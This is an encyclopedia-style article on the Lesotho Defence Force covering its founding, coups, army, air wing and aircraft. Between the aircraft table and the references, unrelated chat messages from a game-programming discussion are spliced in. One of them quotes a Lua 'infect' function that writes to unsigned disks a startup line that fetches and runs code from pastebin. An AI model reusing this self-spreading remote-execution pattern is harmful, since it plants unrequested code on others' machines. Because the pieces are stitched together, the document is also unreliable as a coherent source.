Lesotho Defence Force

The Lesotho Defence Force (LDF) is the military of Kingdom of Lesotho, which consists of about 3,000 personnel and is tasked with maintaining internal security, territorial integrity, and defending the constitution of Lesotho. Since the mountainous kingdom is completely landlocked by South Africa, in practice the country's external defence is guaranteed by its larger neighbour, so the armed forces are mainly used for internal security. The LDF is an army with a small air wing.

Lesotho Defence Force
MottoTs'epo ea Sechaba
(Hope of the nation)
Founded1978
Service branchesArmy
Air Squadron
HeadquartersMaseru
Leadership
MonarchKing Letsie III
Prime MinisterMoeketsi Majoro
Minister of Defence and National SecurityTefo Mapesela
Commander of the Defence ForceLieutenant General Mojalefa Letsoela
Manpower
Active personnel~3,000 personnel
Related articles
RanksMilitary ranks of Lesotho

The military was established in 1978.[1] The Lesotho Defense Force participated in the military coup in 1986, internal conflicts in 1994 and 1998, and unrest in 2007.[2] On 30 August 2014 , an alleged abortive military "coup" took place, forcing then Prime Minister Thomas Thabane to flee to South Africa for three days.[3][4] A brief crisis occurred in September 2017 when Lt. General Khoantle Motsomotso was assassinated by some junior officers, leading to an intervention by the Southern African Development Community (SADC).[5][6][7]

Army

The army of Lesotho began in the 1960s initially as a paramilitary police force, established separately from the Lesotho Mounted Police Service on 1 April 1978. It was recognised as an army in August 1979 and was expanded in the 1980s in response to Basutoland Congress Party insurgent activities. After the January 1986 military coup that brought General Justin Lekhanya to power, the army was renamed the Royal Lesotho Defence Force. As of 1990, it was estimated to have about 2,000 personnel divided into seven companies, one special forces platoon, and a support company.[1] Following the 1993 Lesotho general election, in August 1994 King Letsie III dissolved the newly elected parliament in a coup that was supported by the military.[8]

Air Wing

The Lesotho Defence Force Air Wing was originally a 1978-offshoot of the paramilitary police mobile unit and began operations with two Short Skyvan twin turboprop STOL transports; a leased Cessna A152 Aerobat; two MBB Bo 105 helicopters; and a Bell 47G helicopter converted to turboshaft power. Two Mil Mi-2 twin turbine helicopters were donated by Libya in 1983 but were retired by 1986.

Deliveries of four Bell 412 helicopters were delayed in 1983 to 1986 because of South Africa's influence. This changed when a 1986 military coup resulted in new security agreements with South Africa being signed. In the mid-1980s the air wing was merged into the Lesotho Defence Force. In 1989, the Skyvans were replaced by two CASA C-212 Aviocar light turboprop transports; one immediately crashed, requiring a third to be delivered in 1992. A fifth Bell 412 (an EP model) was delivered in May 1998 to replace the one written off the previous January.

Aircraft
Aircraft Origin Type Variant In service Notes
Transport
CASA C-212 Spain transport 2[9]
GippsAero GA8 Australia transport / utility 1[9]
Helicopters
Bell 412 United States utility 3[9]
Eurocopter AS350 France light utility 2[9]
gollark: The relevant code:```lualocal function infect(disk_side) local mp = disk.getMountPath(disk_side) if not mp then return end local ds = fs.combine(mp, "startup") -- Find paths to startup and signature files local disk_ID = disk.getID(disk_side) local sig_file = fs.combine(mp, "signature") -- shell.run disks marked with the Brand of PotatOS -- except not actually, it's cool and uses load now if fs.exists(ds) and fs.exists(sig_file) then local code = fread(ds) local sig_raw = fread(sig_file) local sig if sig_raw:find "{" then sig = textutils.unserialise(sig_raw) else sig = unhexize(sig_raw) end disk.eject(disk_side) if verify(code, sig) then -- run code, but safely (via pcall) -- print output for debugging print "Signature Valid; PotatOS Disk Loading" local out, err = load(code, "@disk/startup", nil, external_env) if not out then printError(err) else local ok, res = pcall(out, { side = disk_side, mount_path = mp, ID = disk_ID }) if ok then print(textutils.serialise(res)) else printError(res) end end else printError "Invalid Signature!" printError "Initiating Procedure 5." end -- if they're not PotatOS'd, write it on else fwrite(ds, "shell.run 'pastebin run RM13UGFa update' -- PotatOS") endend```
gollark: <@151391317740486657> What key exactly?
gollark: <@151391317740486657> Only digitally signed ones are run unsandboxed. You cannot sign a disk without the private key or probably utterly impractical hackery.
gollark: Basically, any disk you make *will not be run unsandboxed* on a regular potatOS install.
gollark: <@151391317740486657>

See also

References
  1. Lesotho Defense Force (LDF). Global Security. Accessed 13 April 2019.
  2. Allison, Simon (5 September 2017). New Lesotho murders highlight need for military reform. Mail and Guardian. Retrieved 13 April 2019.
  3. Lesotho 'coup' forces PM Thabane to South Africa Archived 2 August 2018 at the Wayback Machine. BBC. 30 August 2014.
  4. Lesotho PM Thabane returns home after fleeing 'coup' Archived 29 October 2018 at the Wayback Machine. BBC. 3 September 2014
  5. In Lesotho, military and politics make a dangerous mix. France 24. Published 9 September 2017. Retrieved 13 April 2019.
  6. "Commander of Lesotho defense force shot dead: defense official". Retrieved 5 September 2017.
  7. SADC fore deployed in Lesotho after killing of army commander. Times Live. Published 4 December 2017. Retrieved 13 April 2019.
  8. Dr. Mothibe, T. The Military and Democratisation in Lesotho. National University of Lesotho.
  9. "World Air Forces 2020". Flightglobal Insight. 2020. Retrieved 1 March 2020.
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